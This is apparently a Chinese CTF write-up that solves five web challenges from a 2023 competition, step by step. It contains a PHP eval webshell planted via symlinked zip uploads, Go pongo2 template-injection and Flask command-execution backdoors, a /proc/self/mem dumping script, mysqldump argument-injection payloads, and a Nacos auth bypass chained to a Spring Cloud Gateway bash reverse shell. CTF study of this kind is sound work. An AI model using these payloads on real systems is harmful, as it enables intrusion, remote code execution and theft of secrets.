抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

2023国赛初赛web

Unzip

打开是一个文件上传界面
这道题似乎是个原题
先搜索一下题目,unzip,发现是Linux下用于解压压缩包的一个命令
打开环境是一个文件上传页面
先随便上传一个文件,点击上传之后会跳转到upload.php

1
2
3
4
5
6
7
8
9
10
 <?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

分析一下这段源码

1
2
3
4
5
6
7
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){  
//finfo_file()函数用于验证MIME值,这里确定了要上传的文件类型为zip

exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
//这里的意思是进入/tmp目录下后,调用unzip命令对压缩包进行解压
//-o 表示不必先询问用户,unzip执行后覆盖原有文件。
};

总的意思就是,我们只能上传zip文件,并且上传之后zip文件会解压到/tmp目录下,并且会覆盖原有文件
那这样我们的思路就简单了,上传一个带有马的压缩包,然后再getshell即可
但是上传之后却发现,我们不能访问/tmp目录,所以我们就要进行绕过
那绕过思路大概就是,有一个操作可以让我们对一个文件操作时让他作用在另一个目录或者文件下

软链接/硬链接

1
2
3
4
5
硬链接指通过索引节点来进行连接。比如:A 是 B 的硬链接(A 和 B 都是文件名),则 A 的目录项中的 inode 节点号与 B 的目录项中的 inode 节点号相同,即一个 inode 节点对应两个不同的文件名,两个文件名指向同一个文件,A 和 B 对文件系统来说是完全平等的。删除其中任何一个都不会影响另外一个的访问。
创建命令 : ln+原始文件 + 硬链接重命名文件

软链接也叫符号链接。在符号连接中,文件实际上是一个文本文件,其中包含的有另一文件的位置信息。相当于创建一个快捷方式,记录原文件的位置,原文件删除,则该文件无法访问,有主次之分。就是可以将某个目录连接到另一个目录或者文件下,那么我们以后对这个目录的任何操作,都会作用到另一个目录或者文件下。
创建命令 : ln -s 原始文件路径 软链接后的路径

由上面可知我们这里需要用到软链接,那这样思路就清晰了,首先我们先上传一个带有软链接的压缩包(1.zip),然后让其指向网站的根目录(/var/www/html),这样我们就可以通过访问该文件直接访问网站的目录了,然后我们再上传一个带有木马的压缩包(2.zip),他的目录为1.zip的目录下。
下面是具体实现:

软链接的利用和实现

1
2
3
4
5
//创建软链接的压缩包,在linux命令行下输入下面的内容
mkdir 1 //先创建一个目录来用于创建软链接
cd 1
ln -s /var/www/html QW //创建了一个名为QW的符号链接,该链接指向 /var/www/html 目录。
zip --symlinks 1.zip QW //将QW目录及其所有内容压缩成一个名为 1.zip 的 ZIP 文件。

1
2
3
4
5
6
//创建包含木马文件的压缩包
mkdir QW //这里创建的文件夹要和1.zip里的目录名一样
cd QW
echo "<?php eval(\$_POST[1]);?>" > shell.php //在该目录下写入shell.php文件,内容为一句话木马
cd .. //返回QW的上级目录
zip -r 2.zip QW //将该目录压缩为2.zip文件


然后先上传1.zip文件,再上传2.zip文件,然后再getshell即可

1
2
http://1.xx.xx.x:12345/shell.php     //访问shell.php文件
1=system("cat /flag"); //同时post传参,得到flag

flag{8382843b-d3e8-72fc-6625-ba5269953b23}

gosession

打开环境,显示

1
Hello, guest

打开附件,查看main.go文件,发现主要有三个路由

  • Index
  • Admin
  • Flask
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    //rount.go
    package route

    import (
    "github.com/flosch/pongo2/v6"
    "github.com/gin-gonic/gin"
    "github.com/gorilla/sessions"
    "html"
    "io"
    "net/http"
    "os"
    )

    var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

    func Index(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
    http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    return
    }
    if session.Values["name"] == nil {
    session.Values["name"] = "guest"
    err = session.Save(c.Request, c.Writer)
    if err != nil {
    http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    return
    }
    }

    c.String(200, "Hello, guest")
    }

    func Admin(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
    http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    return
    }
    if session.Values["name"] != "admin" {
    http.Error(c.Writer, "N0", http.StatusInternalServerError)
    return
    }
    name := c.DefaultQuery("name", "ssti")
    xssWaf := html.EscapeString(name)
    tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
    if err != nil {
    panic(err)
    }
    out, err := tpl.Execute(pongo2.Context{"c": c})
    if err != nil {
    http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    return
    }
    c.String(200, out)
    }

    func Flask(c *gin.Context) {
    session, err := store.Get(c.Request, "session-name")
    if err != nil {
    http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
    return
    }
    if session.Values["name"] == nil {
    if err != nil {
    http.Error(c.Writer, "N0", http.StatusInternalServerError)
    return
    }
    }
    resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
    if err != nil {
    return
    }
    defer resp.Body.Close()
    body, _ := io.ReadAll(resp.Body)

    c.String(200, string(body))
    }
    可以看到,
    Index路由中的session是guest用户的session,然后session_key是通过SESSION_KEY环境变量获取的
    Admin路由就是检测session,检测成功之后就ssti(需要name值为admin),用xsswaf过滤了!
    并且里面调用了 pongo2 来实现模版解析
    Flask路由可以访问到本机5000端口的flask服务
    访问:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    http://xxx/flask?name=
    //使name的值为空,会报错,信息泄露得到5000端口的源码,把得到的html源码去运行一下,得到下面的信息
    //这里为什么为空会报错?报错会得到源码呢?我在这道题的wp最后会做出解释。
    // /app/server.py
    app = Flask(__name__)
    @app.route('/')
    def index():
    name = request.args['name']
    return name + " no ssti"
    if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True)
    这里看到flask开启了debug模式,等会要利用这个点,debug开启,代表开启了热加载功能,简单来说,就是允许在对代码进行更改后自动重新加载应用程序。
    os.Getenv 如果获取不存在的环境变量就会返回空值,所以我们这里猜其实不存在环境变量,所以secret_key其实是空的,那这样的话就可以伪造admin用户了

伪造admin用户

我们改下代码,然后获得伪造之后的session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var store = sessions.NewCookieStore([]byte(""))
// key设置为空
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
// 将name改为admin
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

得到伪造之后的session:(因为key为空,所以可以直接用别人生成的session)

1
MTY4NTE2NjM0MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwOKxem4pxrKun4XeKg9xm11WhWHL1uae0s725nzr61aA==

也可以把下面的代码加到rount.go里然后再访问,也可以得到admin用户的Key

1
2
3
4
5
6
func Key(c *gin.Context) {
session, _ := store.Get(c.Request, "session-name")
session.Values["name"] = "admin"
session.Save(c.Request, c.Writer)
c.String(200, "Hello, guest")
}

然后设置一下Cookie头

到了这一步就开始go的ssti,前面已经说过了server.py开启了debug,所以说当server.py文件改变一次,那就会重新加载一次,所以我们这里就是要写入文件来覆盖掉原来的server.py文件

go的pongo2模板注入

Go的标准库里有两个模板引擎, 分别是text/templatehtml/template, 两者接口一致, 区别在于html/template一般用于生成HTML输出, 它会自动转义单引号和双引号,所以我们这里要换个方式读取文件

在这里我们发现gin.Context被注入到了模板中
使用可以gin包的SaveUploadedFile()进行文件上传

1
2
3
4
5
6
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error
/*
第一个获取表单中的文件,第二个参数为保存的目录
即: {{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
但是前面又提到html模板会对双引号进行编码,所以我们需要绕过
*/

Context.HandlerName()

HandlerName 返回主处理程序的名称。例如,如果处理程序是“handleGetUsers()”,此函数将返回“main.handleGetUsers”。

所以如果是在Admin()里,返回的就是main/route.Admin
然后配合过滤器last获取到最后一个字符串n

1
{{c.HandlerName()|last}}

还有一个Context.Request.Referer()Request.Referer

返回header里的Referer的值

所以构建一个文件上传,然后覆盖server.py
所以payload为:(来源为这里)

1
/admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}

简单来说就是admin路由下有ssti,所以执行go的代码,然后上传server.py文件进行文件覆盖
然后再访问/flask路由来执行命令
先执行上面的payload然后抓包:
抓包之后主要有四步要修改 :

1.如果没有Referer头的话,记得添加Referer头,因为payload里的/app/server.py用Re头代替了
Referer: /app/server.py

2.如果没有Content-Type头,记得添加
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary8ALIn5Z2C3VlBqND

简单的来了解一下,为什么要加这个头:
在http协议中使用form提交文件时需要将form标签的method属性设置为post,enctype属性设置为multipart/form-data,并且有至少一个input的type属性为file时,浏览器提交这个form时会在请求头部的Content-Type中自动添加boundary属性。
使用post上传文件时,不仅需要指定mutipart/form-data来进行编码,还需要在Content-Type中定义boundary作为表单参数的分隔符。(简单的理解就是,这是我们用来上传文件的一个标志)
并且请求体中不同部份以CRLF、”–”和header中的Boundary参数开头,要求被封装的内容不能出现与Boundary参数相同的字符,整个请求体以”–”结束。

3.记得把session改成我们之前伪造的那个admin的session

4.在body加上我们改之后的server.py文件,文件内容详见下面的包

下面是完整的发包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: 1.14.xx.xx:12366
Referer:/app/server.py
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session-name=MTY4NTE2NjM0MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwOKxem4pxrKun4XeKg9xm11WhWHL1uae0s725nzr61aA==
Connection: close
Content-Length: 427

------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="server.py"
Content-Type: text/plain

from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--

发包成功之后,访问flask路由,执行下面的payload

1
2
3
/flask?name=%3fname=env
或者
/flask?name=%3fname=cat$IFS/th1s_1s_f13g //要用$IFS绕过空格

得到flag
flag{8382843b-d3e8-72fc-6625-ba5269953b23}

这个地方补充一下,为什么最后的payload是

1
/flask?name=%3fname=env

有个师傅问我这里为什么是两个name连着写,这个payload怎么来的呢?
我看到这个问题的时候,我简单的回想了一下这题的过程,然后去网上搜搜有没有相关的wp有解释,发现大家几乎都是一笔带过,也没有对这个点有过多的解释,当时自己可能也是网上说啥就是啥了,这样给我带来了一个提醒,复现的话就要每个点都吃透。
好啦,开始解释吧,解决这个问题过程中我求助了一位师傅,感觉自己还是不太会抓问题重点
我们先看到go里的flask路由那个地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func Flask(c *gin.Context) {  
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) //这里是重点地方
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

我们看到上面标注的那行里的DefaultQuery,介于网上搜索到的相关知识点比较少,这里建议直接去看官方文档
看到官方文档里的这几行

上面几行注释就是几个例子,namelastname是url上就有的参数,所以c.DefaultQuery("name", "unknown") 直接返回的是url上给他的赋值,也就是Manu,同理,对于lastname的返回值也就是空,因为url上有这个参数但是确没有给他赋值,那对于url上不存在的参数呢,比如c.DefaultQuery("id", "none")就为默认值,也就是defaultValue string,这里对于id来说,就是none
那在这里
我们最后的payload是/flask?name=%3fname=env,那拼接到这里就应该是
http://127.0.0.1:5000?name=env,而这个时候的5000端口上的东西是我们之前覆盖的server.py文件,那我们看到我们覆盖的文件里的内容,我们传参name,并且去os.popen代码执行这个参数的指令

所以/flask?name=%3fname=env其实就是/server.py?name=env,从而读取了环境变量了。
其实这里我们上传的server.py文件里面最好不要设置成name这个参数,感觉可能是两个name连着一起有点误导人了
可以改个参数,比如把上面的一段,改成下面这样,这样最后payload就是/flask?name=?cmd=env

1
2
3
4
5
@app.route('/')  
def index():
    cmd = request.args['cmd']
    file=os.popen(cmd).read()
    return file

看到这里你会不会还有点懵?那再来好好理一遍这个思路。首先我们从浏览器访问,然后传参,route.go接收到用户访问的url之后,通过DefaultQuery裁切url上的参数,然后将返回的值拼接给本地的flask服务,flask服务默认在5000端口开启,所以也就是 127.0.0.1:5000,所以Payload:/flask?name=%3fname=env,经过第一层route.go里面的DefaultQuery裁切之后,只剩下%3fname=env,然后这一段拼接给flask,这时候触发了覆盖的server.py文件,进而执行了命令,查看到了环境变量。这样一遍理下来就很清楚啦。
看到这里你会不会联想到一开始的
这里为什么会报错,报错之后为什么又可以得到源码呢?
这里我们把/?flask?name按照我们刚刚的思路,是不是最后就是127.0.0.1:5000了,因为name为空,所以后面自然也没有跟东西,我们看到获取name参数值的地方
我们把这段代码拿去测试一下,正常赋值,没问题

当为空的时候,也就是直接?name的时候,可以看到报错了

是因为这个地方想要name参数,但是没有得到,所以这也是为什么我们会传两个name参数的原因
那为什么报错了就会得到源码呢,因为这里打开了flask的debug模式,报错了就会直接回显源码

其实这道题还有另外的解法,就是如果我们都可以命令执行了,那想到之前师傅说的一个小点子,用grep直接全局查找不就好了?这样也不用去研究那么多东西了,直接
 file=os.popen(“grep -R flag”).read()
然后直接访问直接访问 /flask?name=,变成127.0.0.1:5000,触发命令执行,回显flag

reading

主页是空白的,就想到可能是目录穿越,这里把..replace成了. 所以我们要用…代表一级
先看到app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# -*- coding:utf8 -*-  
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime

app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()

books = os.listdir('./books')
books.sort(reverse=True)


@app.route('/')
def index():
if session:
book = session['book']
page = session['page']
page_size = session['page_size']
total_pages = session['total_pages']
filepath = session['filepath']

words = read_file_page(filepath, page, page_size)
return render_template('index.html', books=books, words=words)

return render_template('index.html', books=books )


@app.route('/books', methods=['GET', 'POST'])
def book_page():
if request.args.get('book'):
book = request.args.get('book')
elif session:
book = session.get('book')
else:
return render_template('index.html', books=books, message='I need book')
book=book.replace('..','.')
filepath = './books/' + book

if request.args.get('page_size'):
page_size = int(request.args.get('page_size'))
elif session:
page_size = int(session.get('page_size'))
else:
page_size = 3000

total_pages = math.ceil(os.path.getsize(filepath) / page_size)

if request.args.get('page'):
page = int(request.args.get('page'))
elif session:
page = int(session.get('page'))
else:
page = 1
words = read_file_page(filepath, page, page_size)
prev_page = page - 1 if page > 1 else None
next_page = page + 1 if page < total_pages else None

session['book'] = book
session['page'] = page
session['page_size'] = page_size
session['total_pages'] = total_pages
session['prev_page'] = prev_page
session['next_page'] = next_page
session['filepath'] = filepath
return render_template('index.html', books=books, words=words )


@app.route('/flag', methods=['GET', 'POST'])
def flag():
if hashlib.md5(session.get('key').encode()).hexdigest() == key:
return os.popen('/readflag').read()
else:
return "no no no"


def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size=page_size + j
offset = (page_number - 1) * page_size+i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
#if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')


if __name__ == '__main__':
app.run(host='0.0.0.0', port='8000')

这里看到要获得flag,则需要key,而key又是通过session获得的,想要伪造session我们又需要知道secret_key
首先我们先来了解两个路径

1
2
3
4
5
6
7
/proc/self路径为获取当前环境下的文件,比如/proc/self/environ用于获取当前环境下的环境变量

/proc/self/maps:
maps显示当前进程各虚拟地址段的属性,包括虚拟地址段的起始终止地址、读写执行属性、vm_pgoff、主从设备号、i_ino、文件名。基于里面信息能大概判断泄露的内存的属性,是哪个区域在泄漏、对应哪个文件。辅助工具procmem输出更可读的maps信息。

/proc/self/mem:
/proc/self/men这个文件是一个特殊的文件,它允许对当前的进程的内存进行直接读取和写入操作,通过读写这个文件,可以访问当前进程的完整内存空间,包括代码段,数据段,堆,栈和其他映射的内存区域

所以我们输入下面的payload读取一下:

1
/books?book=.../.../.../.../.../.../.../.../.../.../.../.../.../.../.../.../proc/self/maps

那么总的思路就是:思路就是利用任意文件读取读 /proc/self/maps 获取 python 相关程序的地址然后读 /proc/self/mem 拿到堆里面的 secret key 和 key, 伪造 session 最后访问 /flag 路由

任意文件读取

下面放上读men的脚本
记得要在linux下执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os,requests,re

def dowload(file,offset=0,length=0):
if offset:
page = int(offset) // int(length)
print(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
res=requests.get(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
else:
res = requests.get(f"{url}books?book=.../.../.../.../...{file}&page=1&page_size=2000000000")
text=res.text
return text


url="http://1.1.1.1:12345/"
# 读取/proc/self/maps
maps = open(f'maps', 'wb')
maps.write(dowload("/proc/self/maps").encode())
maps.close()

# 清空本地save目录
os.system("rm -rf ./save;mkdir save")
for i in open('maps','r').read().split('\n'):
if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
continue
t = re.search(r'[0-9a-f]{12}-[0-9a-f]{12}', i)
if t:
location = t.group().split("-")
else:
continue
try:
start, end="0x"+location[0],"0x"+location[1]
except:
continue
print("./save/"+start+"-"+end)
save = open(
"./save/"+start+"-"+end,"wb"
)
save.write(
dowload(
"/proc/self/mem",
str(int(start,16)),
str(int(end,16)-int(start,16))
).encode()
)

运行之后会生成一个save文件夹,然后打开这个文件夹

然后用正则表达式 – [a-f0-9]{32}

去搜索MD5格式的字符串,找到两串很相似的md5字符串
猜测一个是key一个是secret_key,把这两个都拿去验证一下,看那个可以解session,哪个就是secret_key,那另一个就是key

先在Linux下输入:

1
2
3
python3
import time
time.time_ns

爆破时间戳伪造session

输出几个时间戳看一下,发现前面几个字符都是一样的
之后用hashcat工具爆破时间戳

1
hashcat -m 0 -a 3 "key值" "168534084?d?d?d?d?d?d?d?d?d?d"

爆破出时间戳之后,结合secret_key一起伪造session

1
python3 flasksession.py encode -s "secret_key" -t "{'key':'时间戳'}"

得到伪造后的session后,抓包修改,然后访问 /flag 即可得到flag
flag{8382843b-d3e8-72fc-6625-ba5269953b23}

DebugSer(无,Java还没学)

dumpit

这道题没有找到环境,就跟着网上大佬的wp来过一遍吧
打开题目:

查看日志,日志内容如下,(其实这不是什么日记,是备份的数据库)

搜索了一下,发现是mysqldump导出文件的格式,
根据题目提示,应该是命令注入

mysqldump命令注入


发现–result-file,-r可以控制文件的输出位置,而且这里的两个参数可控,所以直接命令执行

1
2
?db='<?php phpinfo()?>'&table_2_dump=flag1 --result-file=log/1.php
//然后访问:http://xxx/log/1.php 查看phpinfo,搜索flag

还可以用下面的payload

1
2
?db=ctf&table_2_dump=\%3C\?\=phpinfo\(\)?\%3E%202%3E%20log/1.php
//利用转义符号将<?=phpinfo()?>写入log/1.php中,然后进行访问http://xxx/log/1.php


这里有个非预期,出题人没有把环境变量删掉,我们可以直接读取环境变量来读flag

(非预期)%0A截断绕过读取环境变量

1
2
?db=ctf&table_2_dump=%0Aenv
//使用%0A做截断,相当于换行执行之后的命令。这里就相当于是env读取环境变量

BackendService

好的,这道题也没有找到环境…
首先是CVE-2021-29441

CVE-2021-29441身份验证绕过

打开环境是一个nacos页面(没看到题目,但是盲猜应该是下面这样,(图取自网络),就应该是个登录框)

参考这篇文章可知
我们只需要在header添加了user-agent:Nacos-Server时,就会绕过身份验证直接登录nacos账户

1
2
3
4
//post传参
username=admin&password=admin
//并且把UA头改成下面这样
user-agent:Nacos-Server

这样就成功的新建了一个用户名和密码都为admin的用户了
登录然后进入后台

Nacos结合Spring Cloud Gateway RCE利用

先看篇参考文章了解一下,题目复现wp主要来自https://pysnow.cn/archives/713/
进入后台查看源码(详细代码可见上面提到的那篇wp),可知:

backendserver为provider服务,监听在8811端口上。(application.yaml)
内部配置服务有个8888的gateway服务,id为backcfg。可以直接访问这个内部服务。并且这个服务接受json格式 (bootstrap.yml)
这里可以通过修改gateway配置文件反代backendservice服务
去nacos后台添加配置
然后反弹shell即可:
服务器开启监听:

1
nc -lvp 6666

然后poc如下:(poc来源)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://backendservice",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/x.xx.xx.xx/6666 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}


注意添加配置时的:Data ID要写backcfg,Group为DEFAULT_GROUP
然后再:cat /flag 即可得到flag
(后面发现ctfshow有环境了,那来简单的复现一下吧)

评论